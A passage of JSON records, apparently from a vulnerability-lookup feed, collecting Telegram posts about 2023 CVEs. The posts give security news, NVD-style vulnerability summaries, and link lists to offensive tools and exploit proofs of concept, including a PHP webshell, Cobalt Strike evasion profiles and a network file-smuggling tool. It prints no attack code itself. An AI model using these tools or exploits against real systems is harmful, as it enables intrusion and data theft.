#ransomware notes from the past to the present.\n\nhttps://github.com/threatlabz/ransomware_notes\n\n#cybersecurity #infosec\n\nhttps://t.me/dilagrafie\nhttps://t.me/HackerFactory", "creation_timestamp": "2023-05-25T13:55:27.000000Z"}, {"uuid": "80aac993-e2b3-4ea9-83f8-793fcb9c0e71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31726", "type": "published-proof-of-concept", "source": "https://t.me/dilagrafie/3061", "content": "Tools - Hackers Factory \n\nPCAPeek \n\nA proof-of-concept re-assembler for reverse VNC traffic such as IcedID & Qakbot's VNC Backdoors.\n\nhttps://github.com/0xThiebaut/PCAPeek\n\n#cybersecurity #infosec\n\nProcOpen-PHP-Webshell\n\nExperience the power of a PHP webshell designed to overcome the limitations of blacklisted system/exec functions.\n\nhttps://github.com/d4rkiZ/ProcOpen-PHP-Webshell\n\n#infosec #pentesting #redteam\n\nKeyhacks \n\nA repository which shows quick ways in which API keys leaked by a bug bounty program can be checked to see if they're valid.\n\nhttps://github.com/streaak/keyhacks\n\n#infosec #pentesting #bugbounty\n\nDetections - Browser Credential Harvesting\n\nWeb browsers today allow users to store their username and passwords, directly to log into their application of choice. Threat actors can retrieve these credentials using either the Windows API or decrypting specific files. This detection strategy focuses on specific files that are needed by the attacker to retrieve the user\u2019s web browser stored credentials.\n\nhttps://github.com/cybergoatpsyops/detections/tree/main/techniques/webCredentialHarvest\n\n#cybersecurity #infosec\n\nopera-proxy\n\nStandalone Opera VPN client. Just run it and it'll start a plain HTTP proxy server forwarding traffic through \"Opera VPN\" proxies of your choice. By default the application listens on 127.0.0.1:18080.\n\nhttps://github.com/Snawoot/opera-proxy\n\n#VPN #infosec #privacy\n\nCVE-2023-31779\n\nStored XSS vulnerability exists in the \"Reaction to comment\" feature. An attacker with user privilege on kanban board can execute JavaScript code in the browsers of users who open card with malicious reaction.\n\nhttps://github.com/jet-pentest/CVE-2023-31779\n\n#cve #cybersecurity #infosec\n\nCVE-2023-31726\n\nPOC for CVE-2023-31726: AList 3.15.1 is vulnerable to Incorrect Access Control, which can be exploited by attackers to obtain sensitive information.\n\nhttps://github.com/J6451/CVE-2023-31726\n\n#cve #poc #infosec\n\nSubScraper\n\nPerform subdomain enumeration through various techniques and retrieve detailed output to aid in further testing.\n\nhttps://github.com/m8sec/subscraper\n\n#infosec #pentesting #bugbounty\n\nEnumStrike\n\nCobalt Strike Aggressor script to automate host and domain enumeration.\n\nhttps://github.com/DallasFR/EnumStrike\n\n#infosec #pentesting #redteam\n\nSkyhook\n\nA REST-driven web application used to smuggle files into and out of networks defended by perimeter controls that inspect and act on traffic perceived to contain malicious content.\n\nhttps://github.com/blackhillsinfosec/skyhook\n\n#infosec #pentesting #redteam\n\nPyRDP\n\nRDP monster-in-the-middle (mitm) and library for Python with the ability to watch connections live or after the fact.\n\nhttps://github.com/GoSecure/pyrdp\n\n#infosec #pentesting #redteam\n\nNimRekey \n\nAn experiment in improving existing anti-copy techniques. This one allows a binary to rewrite itself on disk after the first execution with a new key and encrypted secrets (like shellcode, URLs, etc)\n\nhttps://github.com/OffenseTeacher/NimRekey\n\n#cybersecurity #infosec\n\nopenSquat\n\nOpen-source Intelligence (OSINT) security tool to identify cyber squatting threats to specific companies or domains, such as:\ud83d\udc47\n\n\u2022 Phishing campaigns\n\u2022 Domain squatting\n\u2022 Typo squatting\n\u2022 Bitsquatting\n\u2022 IDN homograph attacks\n\u2022 Doppenganger domains\n\u2022 Other brand/domain related scams\n\nhttps://github.com/atenreiro/opensquat\n\n#OSINT #cybersecurity #infosec\n\nMalleable-CS-Profiles\n\nA list of python tools to help create an OPSEC-safe Cobalt Strike profile. This is the Github repository of the relevant blog post: Unleashing the Unseen: Harnessing the Power of Cobalt Strike Profiles for EDR Evasion.\n\nhttps://github.com/WKL-Sec/Malleable-CS-Profiles\n\n#infosec #pentesting #redteam\n\nOffensive-Rust\n\nhttps://github.com/winsecurity/Offensive-Rust\n\n#infosec #pentesting #redteam\n\nRansomware Notes\n\nThis is a collection of various #ransomware notes from the past to the present.\n\nhttps://github.com/threatlabz/ransomware_notes\n\n#cybersecurity #infosec\n\nhttps://t.me/dilagrafie\nhttps://t.me/HackerFactory", "creation_timestamp": "2023-05-25T13:55:27.000000Z"}, {"uuid": "709ef170-871b-4549-a4cc-5424d3d525be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31070", "type": "published-proof-of-concept", "source": "https://t.me/dilagrafie/3063", "content": "Cybersecurity News - Hackers Factory \n\n\n\u200aGitLab 'strongly recommends' patching max severity flaw ASAP\n\nhttps://www.bleepingcomputer.com/news/security/gitlab-strongly-recommends-patching-max-severity-flaw-asap/\n\n\u200aChinese hackers breach US critical infrastructure in stealthy attacks\n\nhttps://www.bleepingcomputer.com/news/security/chinese-hackers-breach-us-critical-infrastructure-in-stealthy-attacks/\n\n\u200aHackers target 1.5M WordPress sites with cookie consent plugin exploit\n\nhttps://www.bleepingcomputer.com/news/security/hackers-target-15m-wordpress-sites-with-cookie-consent-plugin-exploit/\n\n\u200aChinese-linked hackers target critical infrastructure in US and Guam\n\nhttps://cyberscoop.com/china-critical-infrastructure-volt-typhoon/\n\n\u200aMicrosoft: Windows issue causes file copying, saving failures\n\nhttps://www.bleepingcomputer.com/news/microsoft/microsoft-windows-issue-causes-file-copying-saving-failures/\n\n\u200aKimsuky \u2013 notorious North Korean\n\nhttps://security.packt.com/kimsuky-notorious-north-korean/\n\n\u200aThe US government sanctioned four entities and one individual for supporting cyber operations conducted by North Korea\n\nhttps://securityaffairs.com/146611/cyber-warfare-2/us-santioned-north-korea-entities.html\n\n\u200aAnnouncing the launch of GUAC v0.1\n\nhttp://security.googleblog.com/2023/05/announcing-launch-of-guac-v01.html\n\n\u200aWhat are the Common Security Challenges CISOs Face?\n\nhttps://gbhackers.com/security-challenges-cisos-face/\n\n\u200aFully Encrypted GuLoader Uses Google Drive to Download Payloads\n\nhttps://gbhackers.com/guloader-via-google-drive/\n\n\u200aApria Healthcare Hacked \u2013 Over 2M Users Data Exposed\n\nhttps://gbhackers.com/apria-healthcare-hacked/\n\nVSCode Security: Malicious Extensions - PII Exposed, and Backdoors Enabled\n\nhttps://blog.checkpoint.com/securing-the-cloud/malicious-vscode-extensions-with-more-than-45k-downloads-steal-pii-and-enable-backdoors\n\nThe Fuzzing Guide to the Galaxy: An Attempt with Android System Services\n\nhttps://blog.thalium.re/posts/fuzzing-samsung-system-services\n\nCVE-2023-31070: Broadcom BCM47xx SDK EMF slab-out-of-bounds write\n\nhttps://bugprove.com/knowledge-hub/cve-2023-31070-broadcom-bcm-47xx-sdk-emf-slab-out-of-bounds-write\n\nUpdates to Legion: A Cloud Credential Harvester and SMTP Hijacker\n\nhttps://www.cadosecurity.com/updates-to-legion-a-cloud-credential-harvester-and-smtp-hijacker\n\n\u200aBe Cyber-Vigilant on Your Cruise with These Cyber Security Tips\n\nhttps://latesthackingnews.com/2023/05/25/be-cyber-vigilant-on-your-cruise-with-these-cyber-security-tips/\n\n\u200aNew Buhti ransomware gang uses leaked Windows, Linux encryptors\n\nhttps://www.bleepingcomputer.com/news/security/new-buhti-ransomware-gang-uses-leaked-windows-linux-encryptors/\n\n\u200a\u2018Operation Magalenha\u2019 targets credentials of 30 Portuguese banks\n\nhttps://www.bleepingcomputer.com/news/security/operation-magalenha-targets-credentials-of-30-portuguese-banks/\n\n\u200aChatGPT is down worldwide - OpenAI confirms issues\n\nhttps://www.bleepingcomputer.com/news/technology/chatgpt-is-down-worldwide-openai-confirms-issues/\n\n\u200aABB Hack \u2013 Attackers Dropped Ransomware on IT Systems\n\nhttps://cybersecuritynews.com/abb-hack/\n\n\u200aWireshark 4.0.6 Released \u2013 Fix for 9 vulnerabilities\n\nhttps://gbhackers.com/wireshark-4-0-6/\n\n#cybersecurity #infosec\n\nhttps://t.me/dilagrafie\nhttps://t.me/HackerFactory", "creation_timestamp": "2023-05-25T16:15:42.000000Z"}, {"uuid": "8035c0cd-1703-4967-ad95-3149dd3f2418", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31703", "type": "published-proof-of-concept", "source": "https://t.me/dilagrafie/3011", "content": "Tools - Hackers Factory \n\nFresh Resolvers\n\nUses DNS Validator to generate a list of fresh working DNS resolvers every day.\n\nhttps://github.com/Findomain/fresh-resolvers\n\n#infosec #pentesting #bugbounty\n\nPublications\n\nA home for publications, including slides/papers, proof-of-concepts, videos and tools.\n\nhttps://github.com/elttam/publications\n\n#cybersecurity #infosec\n\nCVE-2023-32243\n\nEssential Addons for Elementor 5.4.0-5.7.1 - Unauthenticated Privilege Escalation. The plugin does not validate the password reset key, which could allow unauthenticated attackers to reset arbitrary account's password to anything they want, by knowing the related email or username, gaining access to them.\n\nhttps://github.com/RandomRobbieBF/CVE-2023-32243\n\n#cve #cybersecurity #infosec\n\nCVE-2023-31703\n\nCross Site Scripting (XSS) in the edit user form in Microworld Technologies eScan management console 14.0.1400.2281 allows remote attacker to inject arbitrary code via the from parameter in the URL directly.\n\nhttps://github.com/sahiloj/CVE-2023-31703\n\n#cve #cybersecurity #infosec\n\nhacking-books\n\nhttps://github.com/tanc7/hacking-books\n\n#cybersecurity #infosec\n\nDiscord-Recon\n\nDiscord bot created to automate bug bounty recon, automated scans and information gathering via a #discord server.\n\nhttps://github.com/DEMON1A/Discord-Recon\n\n#OSINT #recon #infosec\n\nhackthebox\n\nNotes Taken for HTB Machines & InfoSec Community.\n\nhttps://github.com/dhaneshsivasamy07/hackthebox\n\n#cybersecurity #infosec\n\nAuditor Roadmap\n\nAn open source repository, dedicated towards creating a journal of free materials for learning smart contract development & auditing.\n\nhttps://github.com/contractcops/auditingroadmap\n\n#cybersecurity #infosec #pentesting\n\nPassMute\n\nA multi featured Password Transmutation/Mutator Tool.\n\nhttps://github.com/HITH-Hackerinthehouse/PassMute\n\n#infosec #pentesting #redteam\n\nInfosec Streams List\n\nA (hopefully) actively maintained activity-based-autosorted list of InfoSec Streamers.\n\nhttps://github.com/infosecstreams/infosecstreams.github.io\n\nWeb:\nhttps://infosecstreams.com/\n\n#cybersecurity #infosec #pentesting\n\nWiFi Exploitation Framework\n\nA fully offensive framework to the 802.11 networks and protocols with different types of attacks for WPA/WPA2 and WEP, automated hash cracking, and much more.\n\nhttps://github.com/D3Ext/WEF\n\n#infosec #pentesting #redteam\n\nDed Security Framework\n\nA tool aimed at security professionals.\n\nhttps://github.com/dedsecurity/dedsecurity-framework\n\n#infosec #pentesting #redteam\n\nhttps://t.me/dilagrafie\nhttps://t.me/HackerFactory", "creation_timestamp": "2023-05-18T16:35:04.000000Z"}, {"uuid": "7909232a-21f9-4fa6-98a7-a4e2d36aa312", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31419", "type": "published-proof-of-concept", "source": "https://t.me/dilagrafie/3212", "content": "Hackers Factory \n\nWEB-Wordlist-Generator creates related wordlists after scanning your web applications.\n\nhttps://github.com/OsmanKandemir/web-wordlist-generator\n\nThis repository contains Open Source freely usable Threat Intel feeds that can be used without additional requirements. Contains multiple types such as IP, URL, CVE and Hash.\n\nhttps://github.com/Bert-JanP/Open-Source-Threat-Intel-Feeds\n\nProof of concept on BYOVD attack\n\nhttps://github.com/MrEmpy/Reaper\n\nThis is the source code for Data-free Backdoor. Our paper is accepted by the 32nd USENIX Security Symposium (USENIX Security 2023).\n\nhttps://github.com/lvpeizhuo/Data-free_Backdoor\n\nA tool for checking the security hardening options of the Linux kernel\n\nhttps://github.com/a13xp0p0v/kernel-hardening-checker\n\nElasticsearch Stack Overflow Vulnerability\n\nhttps://github.com/sqrtZeroKnowledge/Elasticsearch-Exploit-CVE-2023-31419\n\nAn automated script to extract hidden images from Tecno Camon X\n\nhttps://github.com/tahaafarooq/gallery3d-tecno-exploit\n\nOfficial source codes for the paper \"A Stealthy Backdoor Attack for Code Models\"\n\nhttps://github.com/qyb156/stealthy_backdoor_attack\n\nCMSmap is a python open source CMS scanner that automates the process of detecting security flaws of the most popular CMSs.\n\nRun it on file mode.\n\npython3 cmsmap.py -i test.txt -t 200 -F -s -o test-resulte.txt\n\nhttps://github.com/dionach/CMSmap\nhttps://github.com/Doctype02/exploitdb\n\nBChecks collection for Burp Suite Professional\n\nhttps://github.com/emadshanab/BChecks-Collection\n\n#infosec #cybersecurity #hackersfactory\n\nhttps://t.me/dilagrafie", "creation_timestamp": "2023-09-27T04:16:37.000000Z"}, {"uuid": "a4fece04-1f5b-4063-ab19-9aac58cdceea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31998", "type": "published-proof-of-concept", "source": "https://t.me/proxy_bar/1616", "content": "CVE-2023-31998\nexploit for  Ubiquiti EdgeRouter\n\u0420\u0430\u0437\u0431\u043e\u0440 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 POC exploit  \u0442\u0443\u0442", "creation_timestamp": "2023-07-10T22:56:50.000000Z"}, {"uuid": "817e94b6-2e15-4878-953c-8d726d5f465d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31419", "type": "seen", "source": "https://t.me/proxy_bar/1732", "content": "Elasticsearch Stack Overflow Vulnerability\nCVE-2023-31419 Exploit\n\ud83d\udc4c", "creation_timestamp": "2023-09-20T22:42:59.000000Z"}, {"uuid": "f73d4a83-6f74-4cee-a0d6-2828d9afc65a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31237", "type": "seen", "source": "https://t.me/cibsecurity/73925", "content": "\u203c\ufe0fCVE-2023-31237\u203c\ufe0f\n\nURL Redirection to Untrusted Site 'Open Redirect' vulnerability in Dylan James Zephyr Project Manager.This issue affects Zephyr Project Manager from na through 3.3.9.  \n\n\ud83d\udcd6 Read more\n\nVia \"National Vulnerability Database\"", "creation_timestamp": "2023-12-30T01:36:40.000000Z"}, {"uuid": "f52093f0-4c4b-4303-bbf9-81bd8d1f0f2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31229", "type": "seen", "source": "https://t.me/cibsecurity/73924", "content": "\u203c\ufe0fCVE-2023-31229\u203c\ufe0f\n\nURL Redirection to Untrusted Site 'Open Redirect' vulnerability in WP Directory Kit.This issue affects WP Directory Kit from na through 1.1.9.  \n\n\ud83d\udcd6 Read more\n\nVia \"National Vulnerability Database\"", "creation_timestamp": "2023-12-30T01:36:35.000000Z"}, {"uuid": "281203ae-978e-454f-bff8-5df5b45d4466", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31095", "type": "seen", "source": "https://t.me/cibsecurity/73923", "content": "\u203c\ufe0fCVE-2023-31095\u203c\ufe0f\n\nURL Redirection to Untrusted Site 'Open Redirect' vulnerability in CRM Perks Integration for HubSpot and Contact Form 7, WPForms, Elementor, Ninja Forms.This issue affects Integration for HubSpot and Contact Form 7, WPForms, Elementor, Ninja Forms from na through 1.2.8.  \n\n\ud83d\udcd6 Read more\n\nVia \"National Vulnerability Database\"", "creation_timestamp": "2023-12-30T01:36:30.000000Z"}, {"uuid": "17c39105-dad8-4540-963a-700f87839408", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31102", "type": "seen", "source": "Telegram/MYV5tgGHMagBOoJu6zWW2e_mvCQdKIkIQgY0tsVPuUvWSkU", "content": "", "creation_timestamp": "2023-11-04T09:32:34.000000Z"}, {"uuid": "34b33867-f01c-406b-aead-d2117cf8ed2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31419", "type": "published-proof-of-concept", "source": "Telegram/hy3RTMssr2TEFMcQVJs7PvvoO6v5qJcmAwo4yeCaKvqq5G0", "content": "", "creation_timestamp": "2023-09-30T13:51:23.000000Z"}, {"uuid": "0071277e-6a0f-49f9-b7a8-d86aa4fff8b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31301", "type": "seen", "source": "https://t.me/cibsecurity/73863", "content": "\u203c\ufe0fCVE-2023-31301\u203c\ufe0f\n\nStored Cross Site Scripting XSS Vulnerability in Sesami Cash Point  Transport Optimizer CPTO version 6.3.8.6 718, allows remote attackers to execute arbitrary code and obtain sensitive information via the Username field of the login form and application log.\n\n\ud83d\udcd6 Read more\n\nVia \"National Vulnerability Database\"", "creation_timestamp": "2023-12-30T01:31:34.000000Z"}, {"uuid": "455d8401-2046-4d84-a866-cb519ab4990b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31298", "type": "seen", "source": "https://t.me/cibsecurity/73862", "content": "\u203c\ufe0fCVE-2023-31298\u203c\ufe0f\n\nCross Site Scripting XSS vulnerability in Sesami Cash Point  Transport Optimizer CPTO version 6.3.8.6 718, allows remote attackers to execute arbitrary code and obtain sensitive information via the User ID field when creating a new system user.\n\n\ud83d\udcd6 Read more\n\nVia \"National Vulnerability Database\"", "creation_timestamp": "2023-12-30T01:31:29.000000Z"}, {"uuid": "cc20e3fc-30c4-4645-8e70-7c01d47444ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31292", "type": "seen", "source": "https://t.me/cibsecurity/73861", "content": "\u203c\ufe0fCVE-2023-31292\u203c\ufe0f\n\nAn issue was discovered in Sesami Cash Point  Transport Optimizer CPTO 6.3.8.6 718, allows local attackers to obtain sensitive information and bypass authentication via \"Back Button Refresh\" attack.\n\n\ud83d\udcd6 Read more\n\nVia \"National Vulnerability Database\"", "creation_timestamp": "2023-12-30T01:31:24.000000Z"}, {"uuid": "25f7091b-f389-4939-9a5d-ad69bc5b56c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31295", "type": "seen", "source": "https://t.me/cibsecurity/73902", "content": "\u203c\ufe0fCVE-2023-31295\u203c\ufe0f\n\nCSV Injection vulnerability in Sesami Cash Point  Transport Optimizer CPTO version 6.3.8.6 718, allows remote attackers to obtain sensitive information via the User Profile field.\n\n\ud83d\udcd6 Read more\n\nVia \"National Vulnerability Database\"", "creation_timestamp": "2023-12-30T01:34:46.000000Z"}, {"uuid": "4ca5e055-cb07-440b-995b-38f7bdab8dd5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31296", "type": "seen", "source": "https://t.me/cibsecurity/73883", "content": "\u203c\ufe0fCVE-2023-31296\u203c\ufe0f\n\nCSV Injection vulnerability in Sesami Cash Point  Transport Optimizer CPTO version 6.3.8.6 718, allows attackers to obtain sensitive information via the User Name field.\n\n\ud83d\udcd6 Read more\n\nVia \"National Vulnerability Database\"", "creation_timestamp": "2023-12-30T01:33:13.000000Z"}, {"uuid": "001bd928-72c2-48d0-b6f8-c2c1417c0577", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31302", "type": "seen", "source": "https://t.me/cibsecurity/73904", "content": "\u203c\ufe0fCVE-2023-31302\u203c\ufe0f\n\nCross Site Scripting XSS vulnerability in Sesami Cash Point  Transport Optimizer CPTO 6.3.8.6 718, allows remote attackers to execute arbitrary code via the Teller field.\n\n\ud83d\udcd6 Read more\n\nVia \"National Vulnerability Database\"", "creation_timestamp": "2023-12-30T01:34:56.000000Z"}, {"uuid": "febfa502-dc78-4f55-a2b9-f2eeec354965", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31294", "type": "seen", "source": "https://t.me/cibsecurity/73877", "content": "\u203c\ufe0fCVE-2023-31294\u203c\ufe0f\n\nCSV Injection vulnerability in Sesami Cash Point  Transport Optimizer CPTO version 6.3.8.6 718, allows remote attackers to obtain sensitive information via the Delivery Name field.\n\n\ud83d\udcd6 Read more\n\nVia \"National Vulnerability Database\"", "creation_timestamp": "2023-12-30T01:32:43.000000Z"}, {"uuid": "08f611b6-a9a8-435d-b41a-491b951812ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31293", "type": "seen", "source": "https://t.me/cibsecurity/73876", "content": "\u203c\ufe0fCVE-2023-31293\u203c\ufe0f\n\nAn issue was discovered in Sesami Cash Point  Transport Optimizer CPTO 6.3.8.6 718, allows remote attackers to obtain sensitive information and bypass profile restriction via improper access control in the Reader system user's web browser, allowing the journal to be displayed, despite the option being disabled.\n\n\ud83d\udcd6 Read more\n\nVia \"National Vulnerability Database\"", "creation_timestamp": "2023-12-30T01:32:38.000000Z"}, {"uuid": "d027fa01-bed0-49f0-92ae-c6a4f2c60d3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31541", "type": "published-proof-of-concept", "source": "https://t.me/MrVGunz/808", "content": "CVE-2023-31541 : CKEditor plugin v1.2.3 - Arbitrary file upload\nVerified : \u2714\ufe0f\nPOC : https://github.com/DreamD2v/CVE-2023-31541/blob/main/CVE-2023-31541.md", "creation_timestamp": "2023-08-10T14:30:31.000000Z"}, {"uuid": "dbf158a7-0dec-4d1d-ba6b-58a4fd3b981c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31492", "type": "published-proof-of-concept", "source": "https://t.me/MrVGunz/1082", "content": "CVE-2023-31492: Zoho ManageEngine ADManager Plus Build 7180 - \u0627\u0641\u0634\u0627\u06cc \u0631\u0645\u0632 \u0639\u0628\u0648\u0631 \u0628\u0627\u0632\u06cc\u0627\u0628\u06cc - ZVE-2023-0176\n\u0627\u062b\u0628\u0627\u062a \u0645\u0641\u0647\u0648\u0645: https://github.com/passtheticket/vulnerability-research/blob/main/manage-engine-apps/admanager-recovery-password-disclosure.md\n\nCVE-2023-31492 : Zoho ManageEngine ADManager Plus Build 7180 - Recovery Password Disclosure - ZVE-2023-0176\nPOC : https://github.com/passtheticket/vulnerability-research/blob/main/manage-engine-apps/admanager-recovery-password-disclosure.md", "creation_timestamp": "2024-05-08T13:26:12.000000Z"}, {"uuid": "0f22a982-c8b3-439e-ad67-df6ad24ba7d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31315", "type": "seen", "source": "https://t.me/true_secator/6080", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 IOActive \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0438 \u043d\u043e\u0432\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c 20-\u0442\u0438 \u043b\u0435\u0442\u043d\u0435\u0439 \u0434\u0430\u0432\u043d\u043e\u0441\u0442\u0438 AMD SinkClose, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u043a\u043e\u043b\u0435\u043d\u0438\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u043e\u0432 EPYC, Ryzen \u0438 Threadripper.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0441 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0443\u0440\u043e\u0432\u043d\u044f \u044f\u0434\u0440\u0430 (Ring 0) \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 Ring -2 \u0438 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043d\u0435\u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0435\u043c\u043e.\n\nRing -2 - \u044d\u0442\u043e \u043e\u0434\u0438\u043d \u0438\u0437 \u0441\u0430\u043c\u044b\u0445 \u0432\u044b\u0441\u043e\u043a\u0438\u0445 \u0443\u0440\u043e\u0432\u043d\u0435\u0439 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u043d\u0430 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0435, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0439 \u043d\u0430\u0434 Ring -1 (\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u043c \u0434\u043b\u044f \u0433\u0438\u043f\u0435\u0440\u0432\u0438\u0437\u043e\u0440\u043e\u0432 \u0438 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0426\u041f) \u0438 Ring 0, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0443\u0440\u043e\u0432\u043d\u0435\u043c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u043c \u044f\u0434\u0440\u043e\u043c \u041e\u0421.\n\n\u0423\u0440\u043e\u0432\u0435\u043d\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 Ring -2 \u0441\u0432\u044f\u0437\u0430\u043d \u0441 \u0444\u0443\u043d\u043a\u0446\u0438\u0435\u0439 System Management Mode (SMM) \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u0426\u041f. SMM \u0437\u0430\u043d\u0438\u043c\u0430\u0435\u0442\u0441\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u043f\u0438\u0442\u0430\u043d\u0438\u0435\u043c, \u0430\u043f\u043f\u0430\u0440\u0430\u0442\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0435\u043c, \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\u044e \u0438 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u043d\u0438\u0437\u043a\u043e\u0443\u0440\u043e\u0432\u043d\u0435\u0432\u044b\u043c\u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438, \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u043c\u0438 \u0434\u043b\u044f \u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u0411\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u0432\u044b\u0441\u043e\u043a\u043e\u043c\u0443 \u0443\u0440\u043e\u0432\u043d\u044e \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439\u00a0SMM \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d \u043e\u0442 \u041e\u0421,\u00a0\u0447\u0442\u043e \u0438\u0441\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0435\u0433\u043e \u043b\u0435\u0433\u043a\u043e\u0433\u043e \u0432\u043e\u0437\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441\u043e \u0441\u0442\u043e\u0440\u043e\u043d\u044b 